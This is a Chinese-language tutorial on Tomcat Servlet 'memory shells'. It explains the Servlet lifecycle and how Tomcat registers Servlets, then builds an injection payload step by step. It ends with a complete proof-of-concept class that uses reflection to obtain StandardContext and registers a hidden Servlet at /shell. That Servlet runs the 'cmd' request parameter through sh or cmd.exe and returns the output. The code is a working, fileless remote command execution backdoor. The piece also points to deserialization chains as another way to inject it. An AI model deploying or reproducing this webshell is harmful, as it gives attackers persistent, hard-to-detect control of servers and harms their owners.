目录
前言:
(一)Servlet的创建
1、实现javax.servlet.Servlet接口的方式
2、继承GenericServlet类创建Servlet
3、继承了HttpServlet进行创建
(二)分析注入方式
代码分析
(三)payload
1、StandardContext对象
2、自定义的Servlet
3、通过Wrapper进行封装
4、Wrapper添加进入children
5、url映射
完整poc
(四)总结
Servlet存马的创建流程
前言:
上个星期分析了filter内存马的原理和payload,此次分析的Servlet内存马。利用链相对来说要简单一点,主要是研究整个调用过程,比较短,通过debug调试方便理解调用过程。
(一)Servlet的创建
可以先看一下 Servlet 这个接口有哪些方法:
public interface Servlet {
void init(ServletConfig var1) throws ServletException; // init方法,创建好实例后会被立即调用,仅调用一次。
ServletConfig getServletConfig();//返回一个ServletConfig对象,其中包含这个servlet初始化和启动参数
void service(ServletRequest var1, ServletResponse var2) throws ServletException, IOException; //每次调用该servlet都会执行service方法,service方法中实现了我们具体想要对请求的处理。
String getServletInfo();//返回有关servlet的信息,如作者、版本和版权.
void destroy();//只会在当前servlet所在的web被卸载的时候执行一次,释放servlet占用的资源
}
1、实现javax.servlet.Servlet
接口的方式
public class ServletTest implements Servlet {
@Override
public void init(ServletConfig config) throws ServletException {
System.out.println("init.....");
}
@Override
public ServletConfig getServletConfig() {
return null;
}
@Override
public void service(ServletRequest req, ServletResponse res) throws ServletException, IOException {
System.out.println("service.....");
}
@Override
public String getServletInfo() {
return null;
}
@Override
public void destroy() {
System.out.println("destroy.....");
}
}
其中的
init
是在Servlet被创建的时候才会执行的方法,而service
就是对客户端进行相应的方法逻辑,在destroy
就是在该Servlet被销毁的时候会调用的方法,至于其余两个方法getServletConfig
/getServletInfo
都是一些非生命周期的调用
2、继承GenericServlet
类创建Servlet
public class ServletDemo2 extends GenericServlet {
@Override
public void service(ServletRequest arg0, ServletResponse arg1)
throws ServletException, IOException {
System.out.println("service....");
}
}
3、继承了HttpServlet
进行创建
public class ServletDemo3 extends HttpServlet {
@Override
protected void doGet(HttpServletRequest req, HttpServletResponse resp)
throws ServletException, IOException {
System.out.println("doGet...");
}
@Override
protected void doPost(HttpServletRequest req, HttpServletResponse resp)
throws ServletException, IOException {
System.out.println("doPost...");
doGet(req,resp);
}
}
其实看似使用三种创建Servlet的方式,但是实际上也是同一种方法进行创建的,是不同的的封装。
由上图可知:
GenericServlet 是实现了 Servlet 接口的抽象类。
HttpServlet 是 GenericServlet 的子类,具有 GenericServlet 的一切特性。
Servlet 程序(MyServlet 类)是一个实现了 Servlet 接口的 Java 类。
(二)分析注入方式
同样需要通过代码层面达到Servlet的构建,而不通过xml配置文件添加映射,同样是在javax.servlet.ServletContext
接口中声明了几个和Servlet创建相关的方法,如下图2-1
- 我们来到createServlet详细来分析,如图2-2
从注释中我们可以知道他是通过
addServlet
方法的调用来创建Servlet类,他在Tomcat容器中的实现为org.apache.catalina.core.ApplicationContext#createServlet
方法,如图2-3
- 再来到
addServlet
的声明,如图 2-4
同样是存在三种重载方法,通过传入ServletName / ServletClass 来返回了一个ServletRegistration.Dynamic类型
- 再来分析在Tomcat容器中的实现,如图 2-5
代码分析
首先同样会判断当前程序是否处于运行状态,如果处在运行状态就会抛出异常
之后将会在
context
中通过servletName
查找对应的child并将其转化为Wrapper对象如果没有找到,将会创建一个Wrapper对象,在添加进入
servletName
之后将wrapper添加进入context的child中去如果servlet为空的话,将会创建一个ServletClass, 并加载这个Class
之后如果存在初始化参数的时候,将进行初始化操作
最后创建了一个
ApplicationServletRegistration
类,通过带入wrapper和context
同样有着程序在运行过程中不能够添加Servlet的限制,那么,它们如何绕过呢?
我们可以关注到ApplicationServletRegistration#addMapping
这个方法中。
可以分析出来通过调用了
StardContext#addServletMappingDecoded
方法传入了url映射,在mapper中添加 URL 路径与 Wrapper 对象的映射。
同时其wrapper是通过调用findChild
带上ServletName获取到的,之后通过wrapper.addMapping增添了映射,很明显,大概的流程我们已经知道了:
首先需要创建一个自定义的Servlet类
之后通过Wrapper对其进行封装
再将封装之后的wrapper添加进入
StandardContext
类中的children中去最后通过调用addServletMappingDecoded方法添加url映射
(三)payload
1、StandardContext
对象
首先需要获取到
StandardContext
对象,这里采用了循环获取的方式,知道获取到该对象。
// 从 request 的 ServletContext 对象中循环判断获取 Tomcat StandardContext 对象
while (o == null) {
Field f = servletContext.getClass().getDeclaredField("context");
f.setAccessible(true);
Object object = f.get(servletContext);
if (object instanceof ServletContext) {
servletContext = (ServletContext) object;
} else if (object instanceof StandardContext) {
o = (StandardContext) object;
}
}
2、自定义的Servlet
//自定义servlet
Servlet servlet = new Servlet() {
@Override
public void init(ServletConfig servletConfig) throws ServletException {
}
@Override
public ServletConfig getServletConfig() {
return null;
}
@Override
public void service(ServletRequest servletRequest, ServletResponse servletResponse) throws ServletException, IOException {
String cmd = servletRequest.getParameter("cmd");
boolean isLinux = true;
String osTyp = System.getProperty("os.name");
if (osTyp != null && osTyp.toLowerCase().contains("win")) {
isLinux = false;
}
String[] cmds = isLinux ? new String[]{"sh", "-c", cmd} : new String[]{"cmd.exe", "/c", cmd};
InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
Scanner s = new Scanner(in).useDelimiter("\\a");
String output = s.hasNext() ? s.next() : "";
PrintWriter out = servletResponse.getWriter();
out.println(output);
out.flush();
out.close();
}
@Override
public String getServletInfo() {
return null;
}
@Override
public void destroy() {
}
};
3、通过Wrapper进行封装
//用Wrapper封装servlet
Wrapper newWrapper = o.createWrapper();
newWrapper.setName(name);
newWrapper.setLoadOnStartup(1);
newWrapper.setServlet(servlet);
4、Wrapper添加进入children
//向children中添加Wrapper
o.addChild(newWrapper);
5、url映射
//添加servlet的映射
o.addServletMappingDecoded("/shell", name);
完整poc
package pres.test.momenshell;
import org.apache.catalina.Wrapper;
import org.apache.catalina.core.StandardContext;
import javax.servlet.*;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.io.InputStream;
import java.io.PrintWriter;
import java.lang.reflect.Field;
import java.util.Scanner;
public class AddTomcatServlet extends HttpServlet {
@Override
protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
this.doPost(req, resp);
}
@Override
protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
try {
String name = "RoboTerh";
//从req中获取ServletContext对象
ServletContext servletContext = req.getServletContext();
if (servletContext.getServletRegistration(name) == null) {
StandardContext o = null;
// 从 request 的 ServletContext 对象中循环判断获取 Tomcat StandardContext 对象
while (o == null) {
Field f = servletContext.getClass().getDeclaredField("context");
f.setAccessible(true);
Object object = f.get(servletContext);
if (object instanceof ServletContext) {
servletContext = (ServletContext) object;
} else if (object instanceof StandardContext) {
o = (StandardContext) object;
}
}
//自定义servlet
Servlet servlet = new Servlet() {
@Override
public void init(ServletConfig servletConfig) throws ServletException {
}
@Override
public ServletConfig getServletConfig() {
return null;
}
@Override
public void service(ServletRequest servletRequest, ServletResponse servletResponse) throws ServletException, IOException {
String cmd = servletRequest.getParameter("cmd");
boolean isLinux = true;
String osTyp = System.getProperty("os.name");
if (osTyp != null && osTyp.toLowerCase().contains("win")) {
isLinux = false;
}
String[] cmds = isLinux ? new String[]{"sh", "-c", cmd} : new String[]{"cmd.exe", "/c", cmd};
InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
Scanner s = new Scanner(in).useDelimiter("\\a");
String output = s.hasNext() ? s.next() : "";
PrintWriter out = servletResponse.getWriter();
out.println(output);
out.flush();
out.close();
}
@Override
public String getServletInfo() {
return null;
}
@Override
public void destroy() {
}
};
//用Wrapper封装servlet
Wrapper newWrapper = o.createWrapper();
newWrapper.setName(name);
newWrapper.setLoadOnStartup(1);
newWrapper.setServlet(servlet);
//向children中添加Wrapper
o.addChild(newWrapper);
//添加servlet的映射
o.addServletMappingDecoded("/shell", name);
PrintWriter printWriter = resp.getWriter();
printWriter.println("servlet added");
}
}
catch (Exception e) {
e.printStackTrace();
}
}
}
(四)总结
观察上面的内存马,可以知道是将内存马的payload执行部分放在了doPost过程中,且在doGet方法中调用doPost,所以一旦我们访问这里httpServlet,将会执行我们的payload, 达到注入内存马的目的。
其实完全可以搭建一个CC依赖获取其他可以进行反序列化的的链子,通过反序列化的方式注入内存马的方式更加常见一些。
Servlet存马的创建流程
创建恶意Servlet
用Wrapper对其进行封装
添加封装后的恶意Wrapper到StandardContext的children当中
添加ServletMapping将访问的URL和Servlet进行绑定